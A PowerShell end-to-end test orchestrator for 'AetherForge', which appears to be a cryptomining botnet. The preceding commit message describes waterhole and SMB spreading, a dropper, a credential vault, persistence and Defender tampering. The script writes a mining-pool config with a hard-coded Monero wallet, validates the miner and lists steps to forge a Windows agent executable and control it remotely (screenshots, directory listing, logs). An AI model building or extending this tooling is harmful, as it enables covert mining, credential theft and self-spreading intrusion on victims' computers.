Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
194 lines
7.5 KiB
PowerShell
194 lines
7.5 KiB
PowerShell
# AetherForge — secure local E2E validation orchestrator
|
|
# Runs automated tiers 0–1 and prints Tier 3 VM checklist.
|
|
# Full playbook: docs/E2E_VALIDATION.md
|
|
param(
|
|
[switch]$PrepareOnly,
|
|
[switch]$SkipMineValidate,
|
|
[switch]$SkipAutomatedTests,
|
|
[switch]$SkipServerCheck,
|
|
[switch]$ForgeAgent,
|
|
[string]$BaseUrl = "http://127.0.0.1:8989",
|
|
[string]$DataDir = "",
|
|
[int]$MineValidateSeconds = 10,
|
|
[int]$MineValidateThreads = 2
|
|
)
|
|
|
|
$ErrorActionPreference = "Stop"
|
|
$Root = Split-Path -Parent (Split-Path -Parent $MyInvocation.MyCommand.Path)
|
|
if (-not (Test-Path (Join-Path $Root "server\go.mod"))) {
|
|
$Root = (Get-Location).Path
|
|
}
|
|
|
|
if (-not $DataDir) {
|
|
$DataDir = Join-Path $Root "data-e2e"
|
|
}
|
|
|
|
$E2EUser = if ($env:AETHERFORGE_E2E_USER) { $env:AETHERFORGE_E2E_USER } else { "testuser" }
|
|
$E2EPass = if ($env:AETHERFORGE_E2E_PASS) { $env:AETHERFORGE_E2E_PASS } else { "testpass" }
|
|
$E2ETestWallet = "85JfUA9uyBZ2Kzv4ctoURyUYoYgpEu5QjQ8xSdiapFX8TpBHXkHwHQhBkxUxmoFKU85NH4dnSRBbiL8wSvcVmRqg4Wc9Trm"
|
|
|
|
function Write-Banner([string]$Text) {
|
|
Write-Host ""
|
|
Write-Host "==============================================================" -ForegroundColor Cyan
|
|
Write-Host " $Text" -ForegroundColor Cyan
|
|
Write-Host "==============================================================" -ForegroundColor Cyan
|
|
}
|
|
|
|
function Ensure-TestDataDir {
|
|
New-Item -ItemType Directory -Force -Path $DataDir | Out-Null
|
|
$usersPath = Join-Path $DataDir "users.json"
|
|
if (-not (Test-Path $usersPath)) {
|
|
$obj = @{ $E2EUser = $E2EPass }
|
|
[System.IO.File]::WriteAllText($usersPath, ($obj | ConvertTo-Json -Compress))
|
|
Write-Host " Created $usersPath ($E2EUser)" -ForegroundColor Green
|
|
} else {
|
|
Write-Host " Using existing $usersPath" -ForegroundColor DarkGray
|
|
}
|
|
New-Item -ItemType Directory -Force -Path (Join-Path $DataDir "logs") | Out-Null
|
|
$configPath = Join-Path $DataDir "config.json"
|
|
if (-not (Test-Path $configPath)) {
|
|
$config = @{
|
|
port = 8989
|
|
pool = @{
|
|
host = "pool.supportxmr.com"
|
|
port = 3333
|
|
use_tls = $false
|
|
password = "x"
|
|
}
|
|
wallet = @{
|
|
address = $E2ETestWallet
|
|
payment_id = ""
|
|
}
|
|
server = @{
|
|
log_agent_connections = $true
|
|
log_share_submissions = $true
|
|
open_firewall_on_start = $false
|
|
}
|
|
}
|
|
[System.IO.File]::WriteAllText($configPath, ($config | ConvertTo-Json -Depth 6))
|
|
Write-Host " Created $configPath (test wallet)" -ForegroundColor Green
|
|
} else {
|
|
Write-Host " Using existing $configPath" -ForegroundColor DarkGray
|
|
}
|
|
}
|
|
|
|
function Test-ServerHealthy {
|
|
try {
|
|
$r = Invoke-RestMethod "$BaseUrl/api/v1/health" -TimeoutSec 3
|
|
return ($r.status -eq "ok")
|
|
} catch {
|
|
return $false
|
|
}
|
|
}
|
|
|
|
function Invoke-MineValidate {
|
|
Write-Banner "Tier 0 - mine-validate"
|
|
Push-Location (Join-Path $Root "agent")
|
|
try {
|
|
# Native stderr (e.g. randomx VM warmup) becomes ErrorRecords under 2>&1; do not let
|
|
# $ErrorActionPreference Stop treat that as a script failure. Tier 0 passes on exit 0 only.
|
|
$prevEAP = $ErrorActionPreference
|
|
$ErrorActionPreference = 'Continue'
|
|
try {
|
|
$lines = & go run ./cmd/mine-validate -seconds $MineValidateSeconds -threads $MineValidateThreads 2>&1
|
|
$exitCode = $LASTEXITCODE
|
|
} finally {
|
|
$ErrorActionPreference = $prevEAP
|
|
}
|
|
foreach ($line in $lines) {
|
|
$text = if ($line -is [System.Management.Automation.ErrorRecord]) { $line.ToString() } else { "$line" }
|
|
if ($text -notmatch '\[miner\] hash error: randomx VM not initialized') {
|
|
Write-Host $text
|
|
}
|
|
}
|
|
if ($exitCode -ne 0) { throw "mine-validate exit $exitCode" }
|
|
Write-Host " >> PASS" -ForegroundColor Green
|
|
} finally {
|
|
Pop-Location
|
|
}
|
|
}
|
|
|
|
function Invoke-AutomatedTests {
|
|
Write-Banner "Tier 1 - automated tests (no build, no Playwright)"
|
|
& (Join-Path $Root "scripts\test-suite.ps1") -SkipBuild -SkipE2E
|
|
if ($LASTEXITCODE -and $LASTEXITCODE -ne 0) { throw "test-suite failed" }
|
|
}
|
|
|
|
function Invoke-SmokeIfServerUp {
|
|
# Tier 1b smoke-test needs -BaseUrl matching the live server (e.g. -BaseUrl http://127.0.0.1:18989)
|
|
# and Basic auth credentials that match that server's users.json (defaults: testuser/testpass).
|
|
if (-not (Test-ServerHealthy)) { return }
|
|
Write-Banner "Tier 1b - API smoke (B-01 to B-10)"
|
|
& (Join-Path $Root "scripts\smoke-test.ps1") -BaseUrl $BaseUrl -Username $E2EUser -Password $E2EPass
|
|
if ($LASTEXITCODE -and $LASTEXITCODE -ne 0) { throw "smoke-test failed" }
|
|
}
|
|
|
|
function Show-Tier3Checklist {
|
|
Write-Banner "Tier 3 - manual VM payload checklist"
|
|
Write-Host " PRIMARY PATH (recommended):" -ForegroundColor Yellow
|
|
Write-Host " Host: devrun.bat or bin\miner-server.exe -port 8989 -data $DataDir"
|
|
Write-Host " Agent: disposable Hyper-V / VMware Windows 10/11 VM - revert snapshot when done"
|
|
Write-Host " NOT Docker Windows containers (no desktop/USB/GPU/spread fidelity)"
|
|
Write-Host ""
|
|
Write-Host " 1. Calibrate - wallet $E2ETestWallet (or data-e2e\config.json), file_logging=true"
|
|
Write-Host " 2. Forge Windows amd64 worker (name: e2e-validate) - download exe + uninstall ps1"
|
|
Write-Host " 3. Snapshot VM as clean-pre-agent, run forged exe inside VM"
|
|
Write-Host " 4. Crucible commands (see docs/E2E_VALIDATION.md):"
|
|
Write-Host " sysinfo, pause/resume, get_log, list_dir, screenshot, uninstall"
|
|
Write-Host " 5. Logs:"
|
|
Write-Host " Server: $DataDir\logs\<agent-id>.log"
|
|
Write-Host " Agent: %LOCALAPPDATA%\<install>\miner.log"
|
|
Write-Host " UI: Fleet - Fetch Log"
|
|
Write-Host " 6. Teardown: revert VM snapshot, delete or archive $DataDir"
|
|
Write-Host ""
|
|
Write-Host " Full playbook: docs/E2E_VALIDATION.md" -ForegroundColor Yellow
|
|
}
|
|
|
|
Write-Banner "AetherForge E2E Validation"
|
|
Write-Host " Root: $Root"
|
|
Write-Host " DataDir: $DataDir"
|
|
Write-Host " Server: $BaseUrl"
|
|
|
|
Ensure-TestDataDir
|
|
|
|
if ($PrepareOnly) {
|
|
Write-Host ""
|
|
Write-Host " Test data ready. Start server with:" -ForegroundColor Green
|
|
Write-Host " bin\miner-server.exe -port 8989 -data `"$DataDir`"" -ForegroundColor White
|
|
Show-Tier3Checklist
|
|
exit 0
|
|
}
|
|
|
|
if (-not $SkipMineValidate) {
|
|
Invoke-MineValidate
|
|
}
|
|
|
|
if (-not $SkipAutomatedTests) {
|
|
Invoke-AutomatedTests
|
|
}
|
|
|
|
if (-not $SkipServerCheck) {
|
|
if (Test-ServerHealthy) {
|
|
Write-Host " Server healthy at $BaseUrl" -ForegroundColor Green
|
|
Invoke-SmokeIfServerUp
|
|
} else {
|
|
Write-Host ""
|
|
Write-Host " Server not running at $BaseUrl - skipping smoke-test." -ForegroundColor DarkYellow
|
|
Write-Host " Start with: bin\miner-server.exe -port 8989 -data `"$DataDir`"" -ForegroundColor DarkYellow
|
|
}
|
|
}
|
|
|
|
if ($ForgeAgent) {
|
|
if (-not (Test-ServerHealthy)) {
|
|
Write-Host " -ForgeAgent requires server at $BaseUrl" -ForegroundColor Red
|
|
exit 1
|
|
}
|
|
Write-Banner "Forge test agent via API"
|
|
Write-Host " Open Forge in dashboard and build Windows amd64 e2e-validate," -ForegroundColor Yellow
|
|
Write-Host " or POST /api/v1/builder/build with your test profile." -ForegroundColor Yellow
|
|
Write-Host " (Automated multipart forge omitted - use UI for fusion/prep options.)" -ForegroundColor DarkGray
|
|
}
|
|
|
|
Show-Tier3Checklist
|
|
Write-Host " Done." -ForegroundColor Green
|